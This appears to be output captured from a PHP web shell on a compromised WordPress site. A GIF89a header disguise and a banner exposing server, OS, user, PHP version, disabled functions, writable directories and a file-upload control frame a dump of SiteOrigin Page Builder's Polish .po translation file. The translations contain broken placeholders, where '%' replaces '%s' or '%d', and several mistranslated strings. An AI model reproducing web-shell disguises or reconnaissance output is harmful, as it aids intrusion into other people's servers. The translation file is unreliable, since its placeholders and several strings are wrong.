GIF89A; .
KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Microsoft-IIS/10.0
System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586
User : fatorc ( 0)
PHP Version : 5.3.28
Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Directory :  e:/home/fatorc/Web/wp-content/plugins/siteorigin-panels/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : e:/home/fatorc/Web/wp-content/plugins/siteorigin-panels/lang/siteorigin-panels-pl_PL.po
msgid ""
msgstr ""
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 1.7.5\n"
"Project-Id-Version: Page Builder\n"
"Language: pl\n"
"POT-Creation-Date: \n"
"PO-Revision-Date: \n"
"Last-Translator: \n"
"Language-Team: \n"

#: inc/admin-actions.php:80
msgid "No description"
msgstr "Brak opisu"

#. A prebuilt layout is essentially a complete visual layout that was pre created.
#: inc/admin-actions.php:89
msgid "Your theme doesn't have any prebuilt layouts."
msgstr "Twój motyw nie ma wbudowanych wcześniej układów."

#: inc/admin-actions.php:90
msgid "You can still clone existing pages though."
msgstr "Mimo to możesz kopiować istniejące już strony"

#: inc/admin-actions.php:123
msgid "Clone"
msgstr "Skopiuj"

#: inc/admin-actions.php:141
msgid "There are no %s with Page Builder content to clone."
msgstr "Brak % zawartości w Page Builderze"

#: inc/default-styles.php:57
msgid "Row Class"
msgstr "Klasa Rzędów"

#. A CSS class is something to describe an HTML element.
#: inc/default-styles.php:60 inc/default-styles.php:165
msgid "A CSS class"
msgstr "Klasa CSS"

#: inc/default-styles.php:65
msgid "Cell Class"
msgstr "Klasa Komórek"

#: inc/default-styles.php:68
msgid "Class added to all cells in this row."
msgstr "Klasa dodana do wszystkich komórek w danym rzędzie."

#: inc/default-styles.php:73 inc/default-styles.php:170
msgid "CSS Styles"
msgstr "Style CSS"

#: inc/default-styles.php:76 inc/default-styles.php:173
msgid "CSS Styles, given as one per row."
msgstr "Style CSS dodawane jako jeden na rząd."

#. The amount of spacing below a row. This comes from the concept of a text margin.
#: inc/default-styles.php:83
msgid "Bottom Margin"
msgstr "Dolny Margines."

#: inc/default-styles.php:86
msgid "Space below the row."
msgstr "Przestrzeń poniżej rzędu."

#. This term comes from typography. It's essentially the spacing between 2 columns.
#.
#. http://en.wikipedia.org/wiki/Column_%28typography%29
#: inc/default-styles.php:91
msgid "Gutter"
msgstr "Odstęp"

#: inc/default-styles.php:94
msgid "Amount of space between columns."
msgstr "Liczba odstępów pomiędzy kolumnami."

#. This is essentially the amount of padding, or amount of space around a widget or row.
#: inc/default-styles.php:99 inc/default-styles.php:178
msgid "Padding"
msgstr "Podładki"

#: inc/default-styles.php:102
msgid "Padding around the entire row."
msgstr "Podkładka pod całym rzędem."

#: inc/default-styles.php:107
msgid "Row Layout"
msgstr "Układ rzędu"

#: inc/default-styles.php:111
msgid "Standard"
msgstr "Standard"

#: inc/default-styles.php:112
msgid "Full Width"
msgstr "Pełna szerokość"

#. This means the row is displayed the full width of the page and the content is also stretched.
#: inc/default-styles.php:113
msgid "Full Width Stretched"
msgstr "Szerokość zwężona"

#: inc/default-styles.php:121 inc/default-styles.php:188
msgid "Background Color"
msgstr "Kolor tła"

#: inc/default-styles.php:124
msgid "Background color of the row."
msgstr "Kolor tła rzędu"

#: inc/default-styles.php:129 inc/default-styles.php:196
msgid "Background Image"
msgstr "Obrazek w tle"

#: inc/default-styles.php:132
msgid "Background image of the row."
msgstr "Obrazek w tle rzędu"

#: inc/default-styles.php:137 inc/default-styles.php:204
msgid "Background Image Display"
msgstr "Wyświetlenie obrazu z tła"

#: inc/default-styles.php:141 inc/default-styles.php:208
msgid "Tiled Image"
msgstr "Obraz na środku"

#: inc/default-styles.php:142 inc/default-styles.php:209
msgid "Cover"
msgstr "Okładka"

#: inc/default-styles.php:143 inc/default-styles.php:210
msgid "Centered, with original size"
msgstr "Wyśrodkowany w oryginalnym rozmiarze"

#: inc/default-styles.php:145 inc/default-styles.php:212
msgid "How the background image is displayed."
msgstr "Jak wyświetlić obrazek tła."

#: inc/default-styles.php:150 inc/default-styles.php:217
msgid "Border Color"
msgstr "Kolory obramowania"

#: inc/default-styles.php:153
msgid "Border color of the row."
msgstr "Kolory obramowania rzędu."

#: inc/default-styles.php:162
msgid "Widget Class"
msgstr "Klasa Widżetu"

#: inc/default-styles.php:181
msgid "Padding around the entire widget."
msgstr "Wypełnienie dookoła widżetu."

#: inc/default-styles.php:191
msgid "Background color of the widget."
msgstr "Kolor tła widżetu."

#: inc/default-styles.php:199
msgid "Background image of the widget."
msgstr "Obrazek w tle widżetu."

#: inc/default-styles.php:220
msgid "Border color of the widget."
msgstr "Kolor obramowania widżetu."

#: inc/default-styles.php:225
msgid "Font Color"
msgstr "Kolor czcionki"

#: inc/default-styles.php:228
msgid "Color of text inside this widget."
msgstr "Kolor tekstu w widżecie."

#: inc/plugin-activation.php:7 inc/plugin-activation.php:8
msgid "Install Page Builder Plugin"
msgstr "Zainstaluj wtyczkę Page Builder"

#: inc/plugin-activation.php:74
msgid "Installing %s"
msgstr "Instalowanie %"

#: inc/revisions.php:50
msgid "Page Builder Content"
msgstr "Zawartość Page Buildera"

#: inc/styles.php:16
msgid "Row Styles"
msgstr "Styl rzędów"

#: inc/styles.php:20
msgid "Widget Styles"
msgstr "Styl widżetów"

#: inc/styles.php:42
msgid "Attributes"
msgstr "Atrybuty"

#: inc/styles.php:46 settings/settings.php:225
msgid "Layout"
msgstr "Tła"

#: inc/styles.php:50
msgid "Design"
msgstr "Design"

#: inc/styles.php:60
msgid "Theme"
msgstr "Tematy"

#: inc/styles.php:179
msgid "Select Image"
msgstr "Wybierz obrazek"

#: inc/styles.php:183
msgid "Remove"
msgstr "Usuń"

#: inc/styles.php:197 settings/settings.php:313
msgid "Enabled"
msgstr "Zezwolone"

#: inc/widgets-bundle.php:7
msgid "SiteOrigin Button"
msgstr "Przycisk SiteOrigin"

#: inc/widgets-bundle.php:8 widgets/widgets/button/button.php:8
msgid "A simple button"
msgstr "Jeden przycisk"

#: inc/widgets-bundle.php:11 inc/widgets-bundle.php:23
#: inc/widgets-bundle.php:35 inc/widgets-bundle.php:47
#: inc/widgets-bundle.php:59 inc/widgets.php:126
msgid "SiteOrigin Widgets Bundle"
msgstr "Komplet widżetów SiteOrigin"

#: inc/widgets-bundle.php:19
msgid "SiteOrigin Image"
msgstr "Obrazek SiteOrigin"

#: inc/widgets-bundle.php:20
msgid "Choose images from your media library."
msgstr "Wybierz obrazek ze swojej biblioteki multimediów."

#: inc/widgets-bundle.php:31
msgid "SiteOrigin Slider"
msgstr "Suwak SiteOrigin"

#: inc/widgets-bundle.php:32
msgid "A basic slider widget."
msgstr "Podstawowy widżet suwaka"

#: inc/widgets-bundle.php:43
msgid "SiteOrigin Features"
msgstr "Funkcje SiteOrigin"

#: inc/widgets-bundle.php:44
msgid "Display site features as a collection of icons."
msgstr "Wyświetl funkcje strony w postaci ikon"

#: inc/widgets-bundle.php:55
msgid "SiteOrigin Post Carousel"
msgstr "Karuzela postów SiteOrigin"

#: inc/widgets-bundle.php:56
msgid "Display your posts as a carousel."
msgstr "Wyświetl swoje posty w karuzeli"

#: inc/widgets.php:17
msgid "Visual Editor"
msgstr "Edytor wizualny"

#: inc/widgets.php:18
msgid "Arbitrary text or HTML with visual editor"
msgstr "Dowolny plik tekstowy HTML w edytorze wizualnym"

#: inc/widgets.php:21
msgid "Black Studio TinyMCE"
msgstr "Black Studio TinyMCE"

#: inc/widgets.php:102
msgid "Widgets Bundle"
msgstr "Pakiet widżetów"

#: inc/widgets.php:132
msgid "Page Builder Widgets"
msgstr "Widżety Page Buildera"

#: inc/widgets.php:148
msgid "WordPress Widgets"
msgstr "Widżety WordPress"

#: inc/widgets.php:158
msgid "WooCommerce"
msgstr "WooCommerce"

#: inc/widgets.php:169
msgid "Jetpack"
msgstr "Jetpack"

#: inc/widgets.php:180
msgid "BBPress"
msgstr "BBPress"

#: inc/widgets.php:188 settings/settings.php:218
msgid "Recommended Widgets"
msgstr "Polecane widżety"

#: settings/settings.php:146 settings/tpl/settings.php:9 tpl/options.php:5
msgid "SiteOrigin Page Builder"
msgstr "Kreator Strony SiteOrigin"

#: settings/settings.php:146 siteorigin-panels.php:108
#: siteorigin-panels.php:467 tpl/js-templates.php:160
msgid "Page Builder"
msgstr "Page Builder"

#: settings/settings.php:170
msgid "Page Builder Settings"
msgstr "Ustawienia Page Buildera"

#: settings/settings.php:186 tpl/options.php:11
msgid "General"
msgstr "Ogólne"

#: settings/settings.php:192 tpl/options.php:15
msgid "Post Types"
msgstr "Typ postów"

#: settings/settings.php:194
msgid "The post types to use Page Builder on."
msgstr "Posty w trybie Page Builder"

#: settings/settings.php:200
msgid "Widgets"
msgstr "Widżety"

#: settings/settings.php:206
msgid "Widget Title HTML"
msgstr "Nazwy Widżetów HTML"

#. Something I forgot to mention is that for this string "{{title}}" shouldn't be translated. The rest of the string can be, but that one part needs to remain as is.
#: settings/settings.php:207
msgid "The HTML used for widget titles. {{title}} is replaced with the widget title."
msgstr "Tekst w HTML zastosowany jako tytuł widżetu. Na miejscu {{title}} wyświetlany jest tytuł widżetu."

#: settings/settings.php:212
msgid "Legacy Bundled Widgets"
msgstr "Widżety związane z zakresem usług"

#: settings/settings.php:213
msgid "Load legacy widgets from Page Builder 1."
msgstr "Załaduj związane z usługami widżety w Kreatorze Strony 1."

#: settings/settings.php:219
msgid "Display recommend widgets in Page Builder add widget dialog."
msgstr "Wyświetl polecane widżety w Page Builderze dodając dialog"

#: settings/settings.php:233 tpl/options.php:57
msgid "Responsive Layout"
msgstr "Responsywny układ treści"

#: settings/settings.php:234
msgid "Collapse widgets, rows and columns on mobile devices."
msgstr "Wyświetl poniżej widżety, rzędy oraz kolumny na telefonach komórkowych."

#: settings/settings.php:240 tpl/options.php:64
msgid "Mobile Width"
msgstr "Szerokość na telefonie komórkowym"

#: settings/settings.php:241
msgid "Device width, in pixels, to collapse into a mobile view ."
msgstr "Szerokość urządzenia w pikselach, w telefonach komórkowych wyświetlana poniżej"

#: settings/settings.php:247 tpl/options.php:70
msgid "Row Bottom Margin"
msgstr "Margines dolnego rzędu"

#: settings/settings.php:248
msgid "Default margin below rows."
msgstr "Brak dolnego marginesu w rzędzie"

#. This term comes from typography. It's essentially the spacing between 2 columns.
#.
#. http://en.wikipedia.org/wiki/Column_%28typography%29
#: settings/settings.php:254
msgid "Row Gutter"
msgstr "Odstęp w rzędach"

#: settings/settings.php:255
msgid "Default spacing between columns in each row."
msgstr "Brak odstępu między każdym rzędem"

#. In this context, the container is an HTML container or wrapper.
#: settings/settings.php:261
msgid "Full Width Container"
msgstr "Zawartość w pełnej szerokości"

#: settings/settings.php:262
msgid "The container used for the full width layout."
msgstr "Zawartość użyta w układzie o pełnej szerokości."

#: settings/settings.php:269
msgid "Content"
msgstr "Treść"

#: settings/settings.php:275 tpl/options.php:25
msgid "Copy Content"
msgstr "Skopiuj treść"

#: settings/settings.php:276
msgid "Copy content from Page Builder to post content."
msgstr "Skopiuj treść z Page Buildera w treść postu."

#: settings/tpl/settings.php:12
msgid "Search Settings"
msgstr "Wyszukaj ustawienia"

#: settings/tpl/settings.php:29
msgid "Settings Saved"
msgstr "Ustawienia zapisane"

#: settings/tpl/settings.php:78 tpl/options.php:93
msgid "Save Settings"
msgstr "Zapisz ustawienia"

#: siteorigin-panels.php:73
msgid "Custom Home Page Builder"
msgstr "Dostosuj stronę główną w Page Builderze"

#: siteorigin-panels.php:74 siteorigin-panels.php:140
msgid "Home Page"
msgstr "Strona główna"

#: siteorigin-panels.php:263
msgid "All Widgets"
msgstr "Wszystkie widżety"

#: siteorigin-panels.php:274
msgid "Missing Widget"
msgstr "Brakujące widżety"

#: siteorigin-panels.php:275
msgid "Page Builder doesn't know about this widget."
msgstr "Kreator Strony nie rozpoznaje widżetu"

#: siteorigin-panels.php:279
msgid "%d seconds"
msgstr "% sekund"

#: siteorigin-panels.php:281
msgid "%d minutes"
msgstr "% minut"

#: siteorigin-panels.php:283
msgid "%d hours"
msgstr "% godzin"

#: siteorigin-panels.php:286
msgid "%d second"
msgstr "% sekundy"

#: siteorigin-panels.php:288
msgid "%d minute"
msgstr "% minuty"

#: siteorigin-panels.php:290
msgid "%d hour"
msgstr "% godziny"

#: siteorigin-panels.php:293
msgid "%s before"
msgstr "% przed"

#: siteorigin-panels.php:294
msgid "Now"
msgstr "Teraz"

#: siteorigin-panels.php:298
msgid "Current"
msgstr "Obecnie"

#: siteorigin-panels.php:299
msgid "Original"
msgstr "Oryginalnie"

#: siteorigin-panels.php:300
msgid "Version restored"
msgstr "Przywrócona wersja"

#: siteorigin-panels.php:304
msgid "Widget deleted"
msgstr "Skasowany widżet"

#: siteorigin-panels.php:306
msgid "Widget added"
msgstr "Dodany widżet"

#: siteorigin-panels.php:308
msgid "Widget edited"
msgstr "Zedytowany widżet"

#: siteorigin-panels.php:310
msgid "Widget duplicated"
msgstr "Podwojony widżet"

#: siteorigin-panels.php:312
msgid "Widget moved"
msgstr "Przesunięty widżet"

#: siteorigin-panels.php:316
msgid "Row deleted"
msgstr "Skasowany rząd"

#: siteorigin-panels.php:318
msgid "Row added"
msgstr "Dodany rząd"

#: siteorigin-panels.php:320
msgid "Row edited"
msgstr "Zedytowany rząd"

#: siteorigin-panels.php:322
msgid "Row moved"
msgstr "Przesunięty rząd"

#: siteorigin-panels.php:324
msgid "Row duplicated"
msgstr "Podwojony rząd"

#: siteorigin-panels.php:327
msgid "Cell resized"
msgstr "Pomniejszona komórka"

#: siteorigin-panels.php:330
msgid "Prebuilt layout loaded"
msgstr "Załadowany gotowy układ "

#: siteorigin-panels.php:334
msgid "Are you sure you want to overwrite your current content? This can be undone in the builder history."
msgstr "Czy na pewno chcesz zastąpić bieżący tekst? Zmianę można cofnąć w historii Page Buildera"

#: siteorigin-panels.php:335
msgid "Loading prebuilt layout"
msgstr "Ładowanie gotowego układu "

#: siteorigin-panels.php:336
msgid "Would you like to copy this editor's existing content to Page Builder?"
msgstr "Czy chciałbyś skopiować istniejącą treść do Page Buildera?"

#: siteorigin-panels.php:337
msgid "Would you like to clear your Page Builder content and revert to using the standard visual editor?"
msgstr "Czy chcesz usunąć treść z Page Buildera i powrócić do standardowego edytora "

#: siteorigin-panels.php:339
msgid "Layout Builder Widget"
msgstr "Widżet kratora układu "

#: siteorigin-panels.php:341 tpl/js-templates.php:85
msgid "Are you sure?"
msgstr "Jesteś pewien?"

#: siteorigin-panels.php:348
msgid "Page Builder layouts"
msgstr "Układy Page Buildera"

#: siteorigin-panels.php:349
msgid "Error uploading or importing file."
msgstr "Błąd w ładowaniu ważnego pliku."

#: siteorigin-panels.php:395
msgid "Untitled Widget"
msgstr "Widżet bez tytułu"

#: siteorigin-panels.php:1140
msgid "Edit Home Page"
msgstr "Edytuj stronę główną"

#: siteorigin-panels.php:1237
msgid "Save and reload this page to start using the widget after you've installed it."
msgstr "Zapisz i uruchom ponownie stronę z zainstalowanymi wcześniej widżetami."

#: siteorigin-panels.php:1321
msgid "Support Forum"
msgstr "Wsparcie na forum"

#: siteorigin-panels.php:1322
msgid "Newsletter"
msgstr "Newsletter"

#: tpl/admin-home-page.php:9
msgid "On"
msgstr "Włączony"

#: tpl/admin-home-page.php:9
msgid "Off"
msgstr "Wyłączony"

#: tpl/admin-home-page.php:13
msgid "Custom Home Page"
msgstr "Personalizuj stronę główną"

#: tpl/admin-home-page.php:45
msgid "Save Home Page"
msgstr "Zapisz stronę główną"

#: tpl/admin-home-page.php:49
msgid "This interface requires Javascript"
msgstr "Interface wymaga skryptu Javy"

#: tpl/help.php:2
msgid "You can use SiteOrigin Page Builder to create home and sub pages, filled your own widgets."
msgstr "Możesz używać SiteOrigine Page Buildera aby stworzyć swoją stronę i podstony z własnymi widżetami."

#: tpl/help.php:3
msgid "The page layouts are responsive and fully customizable."
msgstr "Układ strony działa sprawnie i jest w pełni spersonalizowany."

#: tpl/js-templates.php:12
msgid "Add Widget"
msgstr "Dodaj widżet"

#: tpl/js-templates.php:17
msgid "Add Row"
msgstr "Dodaj rząd"

#: tpl/js-templates.php:22
msgid "Prebuilt"
msgstr "Gotowe"

#: tpl/js-templates.php:29
msgid "History"
msgstr "Historia"

#: tpl/js-templates.php:34
msgid "Live Editor"
msgstr "Edytor live"

#: tpl/js-templates.php:39
msgid "Switch to Editor"
msgstr "Przejdź do edytora"

#: tpl/js-templates.php:83 tpl/js-templates.php:256
msgid "Edit Row"
msgstr "Edytuj rząd"

#: tpl/js-templates.php:84
msgid "Duplicate Row"
msgstr "Podwój rząd"

#: tpl/js-templates.php:85
msgid "Delete Row"
msgstr "Skasuj rząd"

#: tpl/js-templates.php:113
msgid "Edit"
msgstr "Edytuj"

#: tpl/js-templates.php:114 tpl/js-templates.php:231 tpl/js-templates.php:322
msgid "Duplicate"
msgstr "Podwój"

#: tpl/js-templates.php:115 tpl/js-templates.php:230 tpl/js-templates.php:321
msgid "Delete"
msgstr "Skasuj"

#: tpl/js-templates.php:169 tpl/js-templates.php:234
msgid "Done"
msgstr "Zrobione"

#: tpl/js-templates.php:183
msgid "Add New Widget %s"
msgstr "Dodaj nowy widżet %"

#: tpl/js-templates.php:187
msgid "Search Widgets"
msgstr "Szukaj w widżetach"

#: tpl/js-templates.php:199
msgid "Close"
msgstr "Zamknij"

#: tpl/js-templates.php:254
msgid "Add New Row"
msgstr "Dodaj nowy rząd"

#: tpl/js-templates.php:290
msgid "Left to Right"
msgstr "Z lewej do prawej"

#: tpl/js-templates.php:291
msgid "Right to Left"
msgstr "Z prawej do lewej"

#: tpl/js-templates.php:308
msgid "Set"
msgstr "Ustawienia"

#: tpl/js-templates.php:327
msgid "Insert"
msgstr "Wklej"

#: tpl/js-templates.php:329
msgid "Save"
msgstr "Zapisz"

#: tpl/js-templates.php:347
msgid "Prebuilt Layouts"
msgstr "Wbudowane układy"

#: tpl/js-templates.php:351
msgid "Search"
msgstr "Szukaj"

#: tpl/js-templates.php:354
msgid "Theme Defined"
msgstr "Gotowe tematy"

#: tpl/js-templates.php:355
msgid "Import/Export"
msgstr "Importuj/Eksportuj"

#: tpl/js-templates.php:361
msgid "Clone: %s"
msgstr "Klonuj %"

#: tpl/js-templates.php:382
msgid "Drop import file here"
msgstr "Wstaw importowany plik tutaj "

#: tpl/js-templates.php:383
msgid "Or"
msgstr "lub"

#: tpl/js-templates.php:386
msgid "Select Import File"
msgstr "Wybierz plik do zaimportowania"

#: tpl/js-templates.php:398
msgid "Download Layout"
msgstr "Ściągnij układ"

#: tpl/js-templates.php:419
msgid "Page Builder Change History"
msgstr "Page Builder Modyfikuj historię"

#: tpl/js-templates.php:433
msgid "Restore Version"
msgstr "Przywróć wersję"

#: tpl/js-templates.php:458
msgid "Close Live Editor"
msgstr "Zamknij live edytor"

#: tpl/options.php:26
msgid "Copy content from Page Builder into the standard content editor."
msgstr "Skopiuj zawartość z Page Buildera do standardowego edytora treści"

#: tpl/options.php:32
msgid "Animations"
msgstr "Animacje"

#: tpl/options.php:33
msgid "Disable animations for improved performance."
msgstr "Wyłącz animację aby poprawić jakość działania"

#: tpl/options.php:39
msgid "Bundled Widgets"
msgstr "Pakiet widżetów"

#: tpl/options.php:40
msgid "Include the bundled widgets."
msgstr "Załącz pakiet widżetów"

#: tpl/options.php:48
msgid "Display"
msgstr "Wyświetl"

#: tpl/options.php:58
msgid "Should the layout collapse for mobile devices."
msgstr "Czy układ powinien pojawiać się poniżej w przypadku telefonów"

#: tpl/options.php:76
msgid "Cell Side Margins"
msgstr "Marginesy boczne komórki"

#: tpl/options.php:82
msgid "Inline CSS"
msgstr "Wyczyść CSS"

#: widgets/basic.php:13
msgid "Layout Builder"
msgstr "Layout Builder"

#: widgets/basic.php:53
msgid "Open Builder"
msgstr "Otwór Kreator "

#: widgets/basic.php:82
msgid "Post Content"
msgstr "Zamieść zawartość"

#: widgets/basic.php:84
#, fuzzy
msgid "Displays content from the current post."
msgstr "Wyświetl zawartość postu w bieżącej postaci."

#: widgets/basic.php:130 widgets/basic.php:427 widgets/widgets.php:589
#: widgets/widgets.php:764
msgid "None"
msgstr "Żaden"

#: widgets/basic.php:131 widgets/basic.php:355
#: widgets/widgets/call-to-action/call-to-action.php:15
#: widgets/widgets/list/list.php:15 widgets/widgets/price-box/price-box.php:15
msgid "Title"
msgstr "Tytuł"

#: widgets/basic.php:132
msgid "Featured Image"
msgstr "Wyświetlany obraz"

#: widgets/basic.php:137
msgid "Display Content"
msgstr "Wyświetl zawartość"

#: widgets/basic.php:157
msgid "Post Loop"
msgstr "Zapętlenie postów"

#: widgets/basic.php:159
msgid "Displays a post loop."
msgstr "Wyświetl posty w zapętleniu"

#: widgets/basic.php:349
msgid "Your theme doesn't have any post loops."
msgstr "Twój motyw nie ma opcji zapętlania postów"

#: widgets/basic.php:359
msgid "Template"
msgstr "Szablon"

#: widgets/basic.php:375
msgid "More Link "
msgstr "Więcej linków"

#: widgets/basic.php:377
msgid "If the template supports it, cut posts and display the more link."
msgstr "Jeżeli motyw na to pozwala, przytnij post i wyświetl go w dodatkowym linku."

#: widgets/basic.php:411 widgets/widgets.php:575
msgid "Post Type"
msgstr "Typy postów"

#: widgets/basic.php:420 widgets/widgets.php:582
msgid "Posts Per Page"
msgstr "Posty na stronie"

#: widgets/basic.php:425 widgets/widgets.php:587
msgid "Order By"
msgstr "Porządek według"

#: widgets/basic.php:428 widgets/widgets.php:590
msgid "Post ID"
msgstr "ID postu"

#: widgets/basic.php:429 widgets/widgets.php:591
msgid "Author"
msgstr "Autor"

#: widgets/basic.php:430 widgets/basic.php:431 widgets/widgets.php:592
#: widgets/widgets.php:593 widgets/widgets/testimonial/testimonial.php:15
msgid "Name"
msgstr "Imię"

#: widgets/basic.php:432 widgets/widgets.php:594
msgid "Date"
msgstr "Data"

#: widgets/basic.php:433 widgets/widgets.php:595
msgid "Modified"
msgstr "Zmodyfikowany"

#: widgets/basic.php:434 widgets/widgets.php:596
msgid "Parent"
msgstr "Dominujący"

#: widgets/basic.php:435 widgets/widgets.php:597
msgid "Random"
msgstr "Losowy"

#: widgets/basic.php:436 widgets/widgets.php:598
msgid "Comment Count"
msgstr "Licznik komentarzy"

#: widgets/basic.php:437 widgets/basic.php:438 widgets/widgets.php:599
msgid "Menu Order"
msgstr "Porządek menu"

#: widgets/basic.php:439
msgid "Post In Order"
msgstr "Porządek postów"

#: widgets/basic.php:444 widgets/widgets.php:605
msgid "Order"
msgstr "Porządek"

#: widgets/basic.php:446 widgets/widgets.php:608
msgid "Descending"
msgstr "Malejąco"

#: widgets/basic.php:447 widgets/widgets.php:607
msgid "Ascending"
msgstr "Rosnąco"

#: widgets/basic.php:452 widgets/widgets.php:614
msgid "Sticky Posts"
msgstr "Przyklejony posty"

#: widgets/basic.php:454 widgets/widgets.php:616 widgets/widgets.php:738
msgid "Default"
msgstr "Zaniechaj"

#: widgets/basic.php:455 widgets/widgets.php:617
msgid "Ignore Sticky"
msgstr "Ignoruj przyklejone"

#: widgets/basic.php:456 widgets/widgets.php:618
msgid "Exclude Sticky"
msgstr "Zawrzyj przyklejone"

#: widgets/basic.php:457 widgets/widgets.php:619
msgid "Only Sticky"
msgstr "Tylko przyklejone"

#: widgets/basic.php:462
msgid "Additional "
msgstr "Dodatkowe"

#: widgets/widgets.php:204
msgid "Style"
msgstr "Style"

#: widgets/widgets.php:228
msgid "%s Style"
msgstr "% Style"

#: widgets/widgets.php:625
msgid "Additional Arguments"
msgstr "Dodatkowe argumenty"

#: widgets/widgets.php:686
msgid "Gallery (PB)"
msgstr "Galeria (PB)"

#: widgets/widgets.php:688
msgid "Displays a gallery."
msgstr "Wyświetl galerie"

#: widgets/widgets.php:727
msgid "Gallery Images"
msgstr "Galeria obrazów"

#: widgets/widgets.php:728
msgid "edit gallery"
msgstr "Edytuj galerie"

#: widgets/widgets.php:732
msgid "Comma separated attachment IDs. Defaults to all current page's attachments."
msgstr "ID załączników po przecinku. Braki bieżących załączników na stronie."

#: widgets/widgets.php:736
msgid "Image Size"
msgstr "Rozmiar obrazka"

#: widgets/widgets.php:739
msgid "Large"
msgstr "Duży"

#: widgets/widgets.php:740
msgid "Medium"
msgstr "Średni"

#: widgets/widgets.php:741
msgid "Thumbnail"
msgstr "Miniatura"

#: widgets/widgets.php:742
msgid "Full"
msgstr "Pełen obraz"

#: widgets/widgets.php:750
msgid "Gallery Type"
msgstr "Typ galerii"

#: widgets/widgets.php:755
msgid "Columns"
msgstr "Kolumny"

#: widgets/widgets.php:760
msgid "Link To"
msgstr "Link do"

#: widgets/widgets.php:762
msgid "Attachment Page"
msgstr "Strona z załącznikami"

#: widgets/widgets.php:763
msgid "File"
msgstr "Plik"

#: widgets/widgets.php:781
msgid "Image (PB)"
msgstr "Obraz (PB)"

#: widgets/widgets.php:783
msgid "Displays a simple image."
msgstr "Wyświetl obrazek"

#: widgets/widgets.php:816
#: widgets/widgets/animated-image/animated-image.php:15
msgid "Image URL"
msgstr "URL obrazka"

#: widgets/widgets.php:820 widgets/widgets/button/button.php:19
msgid "Destination URL"
msgstr "Miejsce docelowe URL"

#: widgets/widgets.php:834
msgid "Embedded Video (PB)"
msgstr "Wbudowane video (PB)"

#: widgets/widgets.php:836
msgid "Embeds a video."
msgstr "Zawarte video"

#: widgets/widgets.php:874
msgid "Video"
msgstr "Video"

#: widgets/widgets.php:890
msgid "Self Hosted Video (PB)"
msgstr "Własnoręcznie udosętpnione video (PB)"

#: widgets/widgets.php:892
msgid "A self hosted video player."
msgstr "Własnoręcznie udostępniony odtwarzacz video"

#: widgets/widgets.php:934
msgid "Video URL"
msgstr "URL video"

#: widgets/widgets.php:938
msgid "Poster URL"
msgstr "Znacznik URL"

#: widgets/widgets.php:940
msgid "An image that displays before the video starts playing."
msgstr "Obrazek wyświetlany przed startem video"

#: widgets/widgets.php:945
msgid "Auto Play Video"
msgstr "Auto odtwarzanie video"

#: widgets/widgets/animated-image/animated-image.php:6
msgid "Animated Image (PB)"
msgstr "Animacje (PB)"

#: widgets/widgets/animated-image/animated-image.php:8
msgid "An image that animates in when it enters the screen."
msgstr "Animowany obrazek wyświetlany na ekranie"

#: widgets/widgets/animated-image/animated-image.php:19
msgid "Animation"
msgstr "Animacja"

#: widgets/widgets/animated-image/animated-image.php:21
msgid "Fade In"
msgstr "Wygaszanie"

#: widgets/widgets/animated-image/animated-image.php:22
msgid "Slide Up"
msgstr "Przesuń w gorę"

#: widgets/widgets/animated-image/animated-image.php:23
msgid "Slide Down"
msgstr "Przesuń w dół"

#: widgets/widgets/animated-image/animated-image.php:24
msgid "Slide Left"
msgstr "Przesuń w lewo"

#: widgets/widgets/animated-image/animated-image.php:25
msgid "Slide Right"
msgstr "Przesuń w prawo"

#: widgets/widgets/button/button.php:6
msgid "Button (PB)"
msgstr "Przycisk (PB)"

#: widgets/widgets/button/button.php:15 widgets/widgets/list/list.php:19
#: widgets/widgets/testimonial/testimonial.php:27
msgid "Text"
msgstr "Tekst"

#: widgets/widgets/button/button.php:23
#: widgets/widgets/call-to-action/call-to-action.php:31
#: widgets/widgets/price-box/price-box.php:44
#: widgets/widgets/testimonial/testimonial.php:36
msgid "Open In New Window"
msgstr "Otwórz nowe okno"

#: widgets/widgets/button/button.php:27
msgid "Button Alignment"
msgstr "Wyrównanie przycisku"

#: widgets/widgets/button/button.php:29
msgid "Left"
msgstr "Lewo"

#: widgets/widgets/button/button.php:30
msgid "Right"
msgstr "Prawo"

#: widgets/widgets/button/button.php:31
msgid "Center"
msgstr "W środku"

#: widgets/widgets/button/button.php:32
msgid "Justify"
msgstr "Wyjustuj"

#: widgets/widgets/call-to-action/call-to-action.php:6
msgid "Call To Action (PB)"
msgstr "Wywołanie działania (PB)"

#: widgets/widgets/call-to-action/call-to-action.php:8
msgid "A Call to Action block"
msgstr "Blokowanie działania"

#: widgets/widgets/call-to-action/call-to-action.php:19
msgid "Sub Title"
msgstr "Napisy"

#: widgets/widgets/call-to-action/call-to-action.php:23
#: widgets/widgets/price-box/price-box.php:36
msgid "Button Text"
msgstr "Tekst na przycisku"

#: widgets/widgets/call-to-action/call-to-action.php:27
#: widgets/widgets/price-box/price-box.php:40
msgid "Button URL"
msgstr "URL przycisku"

#: widgets/widgets/call-to-action/call-to-action.php:37
#: widgets/widgets/price-box/price-box.php:49
msgid "Button"
msgstr "Przycisk"

#: widgets/widgets/list/list.php:6
msgid "List (PB)"
msgstr "Lista (PB)"

#: widgets/widgets/list/list.php:8 widgets/widgets/price-box/price-box.php:8
msgid "Displays a bullet list of elements"
msgstr "Wyświetl wypunktowaną listę elementów"

#: widgets/widgets/list/list.php:20 widgets/widgets/price-box/price-box.php:32
msgid "Start each new point with an asterisk (*)"
msgstr "Rozpoczynaj każdy punkt od gwiazdki (*)"

#: widgets/widgets/price-box/price-box.php:6
msgid "Price Box (PB)"
msgstr "Ramka z cenami (PB)"

#: widgets/widgets/price-box/price-box.php:19
msgid "Price"
msgstr "Cena"

#: widgets/widgets/price-box/price-box.php:23
msgid "Per"
msgstr "za"

#: widgets/widgets/price-box/price-box.php:27
msgid "Information Text"
msgstr "Tekst z informacjami"

#: widgets/widgets/price-box/price-box.php:31
msgid "Features Text"
msgstr "Tekst z funkcjami"

#: widgets/widgets/price-box/price-box.php:50
msgid "Feature List"
msgstr "Lista funkcji"

#: widgets/widgets/testimonial/testimonial.php:6
msgid "Testimonial (PB)"
